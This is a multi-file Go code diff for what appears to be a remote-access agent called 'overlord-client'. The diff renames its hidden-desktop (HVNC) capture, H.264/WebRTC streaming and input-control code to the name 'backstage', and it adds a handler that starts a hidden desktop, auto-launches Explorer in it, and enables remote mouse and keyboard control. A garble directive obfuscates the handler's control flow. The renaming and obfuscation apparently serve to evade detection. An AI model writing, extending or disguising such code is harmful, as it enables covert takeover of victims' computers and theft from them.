frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, HVNC: true}, Data: blockPayload}
|
||||
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: format, Backstage: true}, Data: blockPayload}
|
||||
return frame, encDur, nil
|
||||
}
|
||||
|
||||
@@ -1001,7 +1001,7 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
|
||||
|
||||
changed := blockChanged(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
|
||||
if !changed && blockIntersectsROI(x, y, ww, hh, rois) {
|
||||
changed = blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
|
||||
changed = blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh)
|
||||
}
|
||||
if changed {
|
||||
changedGrid[by*blocksWide+bx] = true
|
||||
@@ -1276,12 +1276,12 @@ func sortRegionsByROI(regions []streamRegion, hints []roiHint) {
|
||||
})
|
||||
}
|
||||
|
||||
func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
|
||||
func blockChangedbackstage(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
|
||||
changedPixels := 0
|
||||
sampledPixels := 0
|
||||
|
||||
for row := 0; row < h; row += hvncSamplingRate {
|
||||
for col := 0; col < w; col += hvncSamplingRate {
|
||||
for row := 0; row < h; row += backstageSamplingRate {
|
||||
for col := 0; col < w; col += backstageSamplingRate {
|
||||
sampledPixels++
|
||||
ci := (y+row)*curStride + (x+col)*4
|
||||
pi := (y+row)*prevStride + (x+col)*4
|
||||
@@ -1304,7 +1304,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in
|
||||
db = -db
|
||||
}
|
||||
|
||||
if dr > hvncChangeThresh || dg > hvncChangeThresh || db > hvncChangeThresh {
|
||||
if dr > backstageChangeThresh || dg > backstageChangeThresh || db > backstageChangeThresh {
|
||||
changedPixels++
|
||||
|
||||
if sampledPixels > 20 && changedPixels*100 > sampledPixels {
|
||||
@@ -1320,7 +1320,7 @@ func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h in
|
||||
return changedPixels*100 > sampledPixels
|
||||
}
|
||||
|
||||
func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
|
||||
func encodeBlocksbackstage(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) {
|
||||
width := img.Bounds().Dx()
|
||||
height := img.Bounds().Dy()
|
||||
stride := img.Stride
|
||||
@@ -1360,7 +1360,7 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
|
||||
hh = height - y
|
||||
}
|
||||
|
||||
if blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) {
|
||||
if blockChangedbackstage(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) {
|
||||
changedGrid[by*blocksWide+bx] = true
|
||||
changedCount++
|
||||
}
|
||||
@@ -1513,19 +1513,19 @@ func copyPrev(img *image.RGBA) {
|
||||
}
|
||||
}
|
||||
|
||||
func copyPrevHVNC(img *image.RGBA) {
|
||||
func copyPrevbackstage(img *image.RGBA) {
|
||||
width := img.Bounds().Dx()
|
||||
height := img.Bounds().Dy()
|
||||
n := len(img.Pix)
|
||||
if hvncPrevFrame != nil && cap(hvncPrevFrame.pix) >= n {
|
||||
hvncPrevFrame.w = width
|
||||
hvncPrevFrame.h = height
|
||||
hvncPrevFrame.pix = hvncPrevFrame.pix[:n]
|
||||
copy(hvncPrevFrame.pix, img.Pix)
|
||||
if backstagePrevFrame != nil && cap(backstagePrevFrame.pix) >= n {
|
||||
backstagePrevFrame.w = width
|
||||
backstagePrevFrame.h = height
|
||||
backstagePrevFrame.pix = backstagePrevFrame.pix[:n]
|
||||
copy(backstagePrevFrame.pix, img.Pix)
|
||||
} else {
|
||||
buf := make([]byte, n)
|
||||
copy(buf, img.Pix)
|
||||
hvncPrevFrame = &prevImage{w: width, h: height, pix: buf}
|
||||
backstagePrevFrame = &prevImage{w: width, h: height, pix: buf}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1587,25 +1587,25 @@ func SetQualityAndCodec(quality int, codec string) {
|
||||
h264WarnOnce = sync.Once{}
|
||||
if s != "h264" {
|
||||
resetH264Encoder()
|
||||
resetH264EncoderHVNC()
|
||||
resetH264Encoderbackstage()
|
||||
}
|
||||
case "":
|
||||
|
||||
default:
|
||||
overrideCodec.Store("jpeg")
|
||||
resetH264Encoder()
|
||||
resetH264EncoderHVNC()
|
||||
resetH264Encoderbackstage()
|
||||
}
|
||||
}
|
||||
|
||||
func NowHVNC(ctx context.Context, env *rt.Env) error {
|
||||
func Nowbackstage(ctx context.Context, env *rt.Env) error {
|
||||
if env.Cfg.DisableCapture {
|
||||
return sendBlackFrameHVNC(ctx, env)
|
||||
return sendBlackFramebackstage(ctx, env)
|
||||
}
|
||||
if !supportsBackstageCapture() {
|
||||
return nil
|
||||
}
|
||||
return captureAndSendHVNC(ctx, env)
|
||||
return captureAndSendbackstage(ctx, env)
|
||||
}
|
||||
|
||||
func NowVirtual(ctx context.Context, env *rt.Env) error {
|
||||
@@ -1659,7 +1659,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
|
||||
}
|
||||
captureDur := time.Since(t0)
|
||||
|
||||
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
|
||||
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage)
|
||||
var slotAcquired bool
|
||||
if !willSendViaWebRTC && !AcquireFrameSlot() {
|
||||
PutRGBA(img)
|
||||
@@ -1668,7 +1668,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
|
||||
slotAcquired = !willSendViaWebRTC
|
||||
|
||||
quality := jpegQuality()
|
||||
frame, encodeDur, err := buildFrameHVNC(img, 0, quality)
|
||||
frame, encodeDur, err := buildFramebackstage(img, 0, quality)
|
||||
PutRGBA(img)
|
||||
img = nil
|
||||
if err != nil {
|
||||
@@ -1691,12 +1691,12 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
|
||||
dur := time.Second / time.Duration(fps)
|
||||
if dur <= 0 {
|
||||
dur = 33 * time.Millisecond
|
||||
}
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write hidden h264 failed: %v", werr)
|
||||
}
|
||||
if slotAcquired {
|
||||
@@ -1737,12 +1737,12 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
|
||||
dur := time.Second / time.Duration(fps)
|
||||
if dur <= 0 {
|
||||
dur = 33 * time.Millisecond
|
||||
}
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write hidden h264 failed: %v", werr)
|
||||
}
|
||||
return nil
|
||||
@@ -1769,7 +1769,7 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
|
||||
|
||||
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
|
||||
quality := 60
|
||||
frame, _, err := buildFrameHVNC(img, 0, quality)
|
||||
frame, _, err := buildFramebackstage(img, 0, quality)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -1778,36 +1778,36 @@ func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
|
||||
}
|
||||
|
||||
func supportsBackstageCapture() bool {
|
||||
count := HVNCMonitorCount()
|
||||
count := BackstageMonitorCount()
|
||||
return count > 0
|
||||
}
|
||||
|
||||
func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
func captureAndSendbackstage(ctx context.Context, env *rt.Env) error {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("hvnc capture: panic in captureAndSendHVNC: %v", r)
|
||||
log.Printf("backstage capture: panic in captureAndSendbackstage: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
display := env.HVNCSelectedDisplay
|
||||
if display < 0 || display >= HVNCMonitorCount() {
|
||||
display := env.BackstageSelectedDisplay
|
||||
if display < 0 || display >= BackstageMonitorCount() {
|
||||
display = 0
|
||||
log.Printf("hvnc capture: requested display %d out of range, defaulting to 0", display)
|
||||
log.Printf("backstage capture: requested display %d out of range, defaulting to 0", display)
|
||||
}
|
||||
|
||||
t0 := time.Now()
|
||||
img, err := safeBackstageCaptureDisplay(display)
|
||||
if err != nil {
|
||||
log.Printf("hvnc capture: capture failed: %v (sending black frame)", err)
|
||||
return sendBlackFrameHVNC(ctx, env)
|
||||
log.Printf("backstage capture: capture failed: %v (sending black frame)", err)
|
||||
return sendBlackFramebackstage(ctx, env)
|
||||
}
|
||||
if img == nil {
|
||||
log.Printf("hvnc capture: capture returned nil image (sending black frame)")
|
||||
return sendBlackFrameHVNC(ctx, env)
|
||||
log.Printf("backstage capture: capture returned nil image (sending black frame)")
|
||||
return sendBlackFramebackstage(ctx, env)
|
||||
}
|
||||
captureDur := time.Since(t0)
|
||||
|
||||
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
|
||||
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage)
|
||||
var slotAcquired bool
|
||||
if !willSendViaWebRTC && !AcquireFrameSlot() {
|
||||
PutRGBA(img)
|
||||
@@ -1816,7 +1816,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
slotAcquired = !willSendViaWebRTC
|
||||
|
||||
quality := jpegQuality()
|
||||
frame, encodeDur, err := buildFrameHVNC(img, display, quality)
|
||||
frame, encodeDur, err := buildFramebackstage(img, display, quality)
|
||||
PutRGBA(img)
|
||||
img = nil
|
||||
if err != nil {
|
||||
@@ -1839,13 +1839,13 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) {
|
||||
dur := time.Second / time.Duration(fps)
|
||||
if dur <= 0 {
|
||||
dur = 33 * time.Millisecond
|
||||
}
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write hvnc h264 failed: %v", werr)
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write backstage h264 failed: %v", werr)
|
||||
}
|
||||
if slotAcquired {
|
||||
ReleaseFrameSlot()
|
||||
@@ -1868,7 +1868,7 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
|
||||
|
||||
if shouldLogFrame(now) {
|
||||
total := time.Since(t0)
|
||||
log.Printf("hvnc capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
|
||||
log.Printf("backstage capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s",
|
||||
display, fps, frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
|
||||
}
|
||||
|
||||
@@ -1886,14 +1886,14 @@ func safeBackstageCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
return img, nil
|
||||
}
|
||||
|
||||
func sendBlackFrameHVNC(ctx context.Context, env *rt.Env) error {
|
||||
func sendBlackFramebackstage(ctx context.Context, env *rt.Env) error {
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
|
||||
quality := 60
|
||||
frame, _, err := buildFrameHVNC(img, 0, quality)
|
||||
frame, _, err := buildFramebackstage(img, 0, quality)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -23,9 +23,9 @@ func resetH264Encoder() {}
|
||||
|
||||
func RequestDesktopH264Keyframe() {}
|
||||
|
||||
func resetH264EncoderHVNC() {}
|
||||
func resetH264Encoderbackstage() {}
|
||||
|
||||
func encodeH264FrameHVNC(_ *image.RGBA) ([]byte, error) {
|
||||
func encodeH264Framebackstage(_ *image.RGBA) ([]byte, error) {
|
||||
return nil, errors.New("h264 support not available (cgo disabled)")
|
||||
}
|
||||
|
||||
|
||||
@@ -523,8 +523,8 @@ var (
|
||||
h264Enc h264FrameEncoder
|
||||
h264LastErr error
|
||||
|
||||
hvncH264Mu sync.Mutex
|
||||
hvncH264Enc h264FrameEncoder
|
||||
backstageH264Mu sync.Mutex
|
||||
backstageH264Enc h264FrameEncoder
|
||||
|
||||
webcamH264Mu sync.Mutex
|
||||
webcamH264Enc h264FrameEncoder
|
||||
@@ -538,10 +538,10 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) {
|
||||
return out, err
|
||||
}
|
||||
|
||||
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
return encodeH264FrameWithEncoder(&hvncH264Enc, "backstage", img)
|
||||
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
return encodeH264FrameWithEncoder(&backstageH264Enc, "backstage", img)
|
||||
}
|
||||
|
||||
func encodeH264FrameWebcam(img *image.RGBA) ([]byte, error) {
|
||||
@@ -624,10 +624,10 @@ func RequestDesktopH264Keyframe() {
|
||||
resetH264Encoder()
|
||||
}
|
||||
|
||||
func resetH264EncoderHVNC() {
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
closeH264Encoder(&hvncH264Enc)
|
||||
func resetH264Encoderbackstage() {
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
closeH264Encoder(&backstageH264Enc)
|
||||
}
|
||||
|
||||
func closeH264Encoder(slot *h264FrameEncoder) {
|
||||
@@ -1410,7 +1410,7 @@ func average2x2RGB(row0, row1 []byte, x int) (int, int, int) {
|
||||
|
||||
func shutdownMediaFoundationForTest() {
|
||||
closeH264Encoder(&h264Enc)
|
||||
closeH264Encoder(&hvncH264Enc)
|
||||
closeH264Encoder(&backstageH264Enc)
|
||||
closeH264Encoder(&webcamH264Enc)
|
||||
_, _, _ = procMFShutdown.Call()
|
||||
}
|
||||
|
||||
@@ -142,57 +142,57 @@ func closeH264EncoderLocked() {
|
||||
}
|
||||
|
||||
var (
|
||||
hvncH264Mu sync.Mutex
|
||||
hvncH264Enc *x264.Encoder
|
||||
hvncH264Buf bytes.Buffer
|
||||
hvncH264Width int
|
||||
hvncH264Height int
|
||||
hvncH264FPS int
|
||||
hvncH264Scratch []byte
|
||||
backstageH264Mu sync.Mutex
|
||||
backstageH264Enc *x264.Encoder
|
||||
backstageH264Buf bytes.Buffer
|
||||
backstageH264Width int
|
||||
backstageH264Height int
|
||||
backstageH264FPS int
|
||||
backstageH264Scratch []byte
|
||||
)
|
||||
|
||||
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
|
||||
func encodeH264Framebackstage(img *image.RGBA) ([]byte, error) {
|
||||
bounds := img.Bounds()
|
||||
width := bounds.Dx()
|
||||
height := bounds.Dy()
|
||||
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
|
||||
if err := ensureHVNCH264EncoderLocked(width, height); err != nil {
|
||||
if err := ensurebackstageH264EncoderLocked(width, height); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
hvncH264Buf.Reset()
|
||||
if err := hvncH264Enc.Encode(img); err != nil {
|
||||
backstageH264Buf.Reset()
|
||||
if err := backstageH264Enc.Encode(img); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
n := hvncH264Buf.Len()
|
||||
n := backstageH264Buf.Len()
|
||||
if n == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
if cap(hvncH264Scratch) < n {
|
||||
hvncH264Scratch = make([]byte, n, n+(n/4))
|
||||
if cap(backstageH264Scratch) < n {
|
||||
backstageH264Scratch = make([]byte, n, n+(n/4))
|
||||
} else {
|
||||
hvncH264Scratch = hvncH264Scratch[:n]
|
||||
backstageH264Scratch = backstageH264Scratch[:n]
|
||||
}
|
||||
copy(hvncH264Scratch, hvncH264Buf.Bytes())
|
||||
return hvncH264Scratch, nil
|
||||
copy(backstageH264Scratch, backstageH264Buf.Bytes())
|
||||
return backstageH264Scratch, nil
|
||||
}
|
||||
|
||||
func resetH264EncoderHVNC() {
|
||||
hvncH264Mu.Lock()
|
||||
defer hvncH264Mu.Unlock()
|
||||
closeHVNCH264EncoderLocked()
|
||||
func resetH264Encoderbackstage() {
|
||||
backstageH264Mu.Lock()
|
||||
defer backstageH264Mu.Unlock()
|
||||
closebackstageH264EncoderLocked()
|
||||
}
|
||||
|
||||
func ensureHVNCH264EncoderLocked(width, height int) error {
|
||||
func ensurebackstageH264EncoderLocked(width, height int) error {
|
||||
fps := activeH264FPS()
|
||||
if hvncH264Enc != nil && hvncH264Width == width && hvncH264Height == height && hvncH264FPS == fps {
|
||||
if backstageH264Enc != nil && backstageH264Width == width && backstageH264Height == height && backstageH264FPS == fps {
|
||||
return nil
|
||||
}
|
||||
closeHVNCH264EncoderLocked()
|
||||
closebackstageH264EncoderLocked()
|
||||
opts := &x264.Options{
|
||||
Width: width,
|
||||
Height: height,
|
||||
@@ -204,26 +204,26 @@ func ensureHVNCH264EncoderLocked(width, height int) error {
|
||||
RateConstant: 23,
|
||||
LogLevel: x264.LogError,
|
||||
}
|
||||
enc, err := x264.NewEncoder(&hvncH264Buf, opts)
|
||||
enc, err := x264.NewEncoder(&backstageH264Buf, opts)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
hvncH264Enc = enc
|
||||
hvncH264Width = width
|
||||
hvncH264Height = height
|
||||
hvncH264FPS = fps
|
||||
backstageH264Enc = enc
|
||||
backstageH264Width = width
|
||||
backstageH264Height = height
|
||||
backstageH264FPS = fps
|
||||
return nil
|
||||
}
|
||||
|
||||
func closeHVNCH264EncoderLocked() {
|
||||
if hvncH264Enc != nil {
|
||||
_ = hvncH264Enc.Close()
|
||||
hvncH264Enc = nil
|
||||
func closebackstageH264EncoderLocked() {
|
||||
if backstageH264Enc != nil {
|
||||
_ = backstageH264Enc.Close()
|
||||
backstageH264Enc = nil
|
||||
}
|
||||
hvncH264Width = 0
|
||||
hvncH264Height = 0
|
||||
hvncH264FPS = 0
|
||||
hvncH264Buf.Reset()
|
||||
backstageH264Width = 0
|
||||
backstageH264Height = 0
|
||||
backstageH264FPS = 0
|
||||
backstageH264Buf.Reset()
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
@@ -62,7 +62,7 @@ func VirtualKillAll() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -294,7 +294,7 @@ func (s *virtualDuplicationState) encodeCachedDirectH264(capStart time.Time, wid
|
||||
if len(out) == 0 {
|
||||
return wire.Frame{}, time.Since(capStart), encodeDur, true, nil
|
||||
}
|
||||
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", HVNC: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
|
||||
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: 0, FPS: 0, Format: "h264", Backstage: true}, Data: out}, time.Since(capStart), encodeDur, true, nil
|
||||
}
|
||||
|
||||
func (s *virtualDuplicationState) cacheDirectH264Texture(src *d3d11Texture2D, srcDesc d3d11Texture2DDesc) error {
|
||||
@@ -939,7 +939,7 @@ func VirtualKillAll() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
func VirtualEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
|
||||
virtualMu.Lock()
|
||||
bounds := virtualMonitorBounds
|
||||
name := virtualMonitorName
|
||||
@@ -950,7 +950,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
monInfos := []HVNCMonitorInfo{{
|
||||
monInfos := []BackstageMonitorInfo{{
|
||||
Index: 0,
|
||||
Name: name,
|
||||
X: bounds.Min.X,
|
||||
@@ -973,7 +973,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
deskHwnd, _, _ := procGetDesktopWindow.Call()
|
||||
procEnumDesktopWindows.Call(deskHwnd, cb, 0)
|
||||
|
||||
var result []HVNCWindowInfo
|
||||
var result []BackstageWindowInfo
|
||||
for _, w := range windowList {
|
||||
if !isWindowVisible(w.hwnd) {
|
||||
continue
|
||||
@@ -1010,7 +1010,7 @@ func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
monIdx = 0
|
||||
}
|
||||
|
||||
result = append(result, HVNCWindowInfo{
|
||||
result = append(result, BackstageWindowInfo{
|
||||
HWND: w.hwnd,
|
||||
Title: title,
|
||||
X: winLeft,
|
||||
@@ -2221,7 +2221,7 @@ func virtualCurrentCursor() point {
|
||||
}
|
||||
virtualInputMu.Unlock()
|
||||
var pt point
|
||||
procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt)))
|
||||
procGetCursorPosbackstage.Call(uintptr(unsafe.Pointer(&pt)))
|
||||
return pt
|
||||
}
|
||||
|
||||
@@ -2397,7 +2397,7 @@ func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
|
||||
capW := srcW
|
||||
capH := srcH
|
||||
|
||||
hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
|
||||
hdcScreen, hdcMem, buf, ok := backstageEnsureCapCache(capW, capH)
|
||||
if !ok {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
@@ -2443,8 +2443,8 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
|
||||
return 0
|
||||
}
|
||||
|
||||
if hvncWinCache == nil {
|
||||
hvncWinCache = make(map[uintptr]*hvncWinCacheEntry)
|
||||
if backstageWinCache == nil {
|
||||
backstageWinCache = make(map[uintptr]*backstageWinCacheEntry)
|
||||
}
|
||||
|
||||
alive := make(map[uintptr]bool)
|
||||
@@ -2476,17 +2476,17 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe
|
||||
continue
|
||||
}
|
||||
|
||||
if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
||||
if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
||||
drawn++
|
||||
}
|
||||
alive[hwnd] = true
|
||||
hwnd = getWindow(hwnd, GW_HWNDPREV)
|
||||
}
|
||||
|
||||
for h, entry := range hvncWinCache {
|
||||
for h, entry := range backstageWinCache {
|
||||
if !alive[h] {
|
||||
hvncFreeCacheEntry(entry)
|
||||
delete(hvncWinCache, h)
|
||||
backstageFreeCacheEntry(entry)
|
||||
delete(backstageWinCache, h)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,129 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
backstagePersistedDisplayValue int
|
||||
backstagePersistedDisplayMu sync.Mutex
|
||||
backstageTargetFPS atomic.Int64
|
||||
)
|
||||
|
||||
func persistbackstageDisplaySelection(display int) {
|
||||
backstagePersistedDisplayMu.Lock()
|
||||
backstagePersistedDisplayValue = display
|
||||
backstagePersistedDisplayMu.Unlock()
|
||||
}
|
||||
|
||||
func GetPersistedbackstageDisplay() int {
|
||||
backstagePersistedDisplayMu.Lock()
|
||||
defer backstagePersistedDisplayMu.Unlock()
|
||||
return backstagePersistedDisplayValue
|
||||
}
|
||||
|
||||
func backstageStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
fps := activebackstageTargetFPS()
|
||||
interval := time.Second / time.Duration(fps)
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
log.Printf("backstage: starting stream (target fps %d)", fps)
|
||||
|
||||
if err := capture.InitializebackstageDesktop(); err != nil {
|
||||
log.Printf("backstage: failed to initialize hidden desktop: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
if autoStartExplorer {
|
||||
goSafe("backstage auto-start explorer", nil, func() {
|
||||
if err := capture.BackstageAutoStartExplorer(); err != nil {
|
||||
log.Printf("backstage: auto-start explorer error: %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
currentFPS := fps
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
log.Printf("backstage: stopping stream")
|
||||
capture.CleanupbackstageDesktop()
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
fps := activebackstageTargetFPS()
|
||||
if fps != currentFPS {
|
||||
currentFPS = fps
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
ticker.Reset(time.Second / time.Duration(fps))
|
||||
log.Printf("backstage: target fps changed to %d", fps)
|
||||
}
|
||||
if err := capture.Nowbackstage(ctx, env); err != nil {
|
||||
if ctx.Err() != nil {
|
||||
log.Printf("backstage: stopping stream")
|
||||
capture.CleanupbackstageDesktop()
|
||||
return nil
|
||||
}
|
||||
log.Printf("backstage: capture error: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func activebackstageTargetFPS() int {
|
||||
if fps := int(backstageTargetFPS.Load()); fps > 0 {
|
||||
return fps
|
||||
}
|
||||
_, fps := streamInterval("OVERLORD_backstage_MAX_FPS", 120)
|
||||
return SetbackstageTargetFPS(fps)
|
||||
}
|
||||
|
||||
func SetbackstageTargetFPS(fps int) int {
|
||||
fps = clampDesktopTargetFPS(fps)
|
||||
backstageTargetFPS.Store(int64(fps))
|
||||
capture.SetH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
return fps
|
||||
}
|
||||
|
||||
func backstageSelect(ctx context.Context, env *rt.Env, display int) error {
|
||||
prev := env.BackstageSelectedDisplay
|
||||
maxDisplays := capture.BackstageMonitorCount()
|
||||
if display < 0 || display >= maxDisplays {
|
||||
log.Printf("backstage: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
|
||||
display = 0
|
||||
}
|
||||
env.BackstageSelectedDisplay = display
|
||||
|
||||
persistbackstageDisplaySelection(display)
|
||||
log.Printf("backstage: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
|
||||
return nil
|
||||
}
|
||||
|
||||
func backstageMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.BackstageMouseControl = enabled
|
||||
log.Printf("backstage: mouse control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func backstageKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.BackstageKeyboardControl = enabled
|
||||
log.Printf("backstage: keyboard control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func backstageCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.BackstageCursorCapture = enabled
|
||||
capture.SetbackstageCursorCapture(enabled)
|
||||
log.Printf("backstage: cursor capture %v", enabled)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
//go:build !windows
|
||||
|
||||
package handlers
|
||||
|
||||
func setCursorPosbackstage(x, y int32) {}
|
||||
func sendMouseDownbackstage(button int) {}
|
||||
func sendMouseUpbackstage(button int) {}
|
||||
func sendKeyDownbackstage(vk uint16) {}
|
||||
func sendKeyUpbackstage(vk uint16) {}
|
||||
func keyCodeToVKbackstage(code string) uint16 { return 0 }
|
||||
+1
-1
@@ -2,6 +2,6 @@
|
||||
|
||||
package handlers
|
||||
|
||||
func keyCodeToVKHVNC(code string) uint16 {
|
||||
func keyCodeToVKbackstage(code string) uint16 {
|
||||
return keyCodeToVK(code)
|
||||
}
|
||||
@@ -39,24 +39,24 @@ var (
|
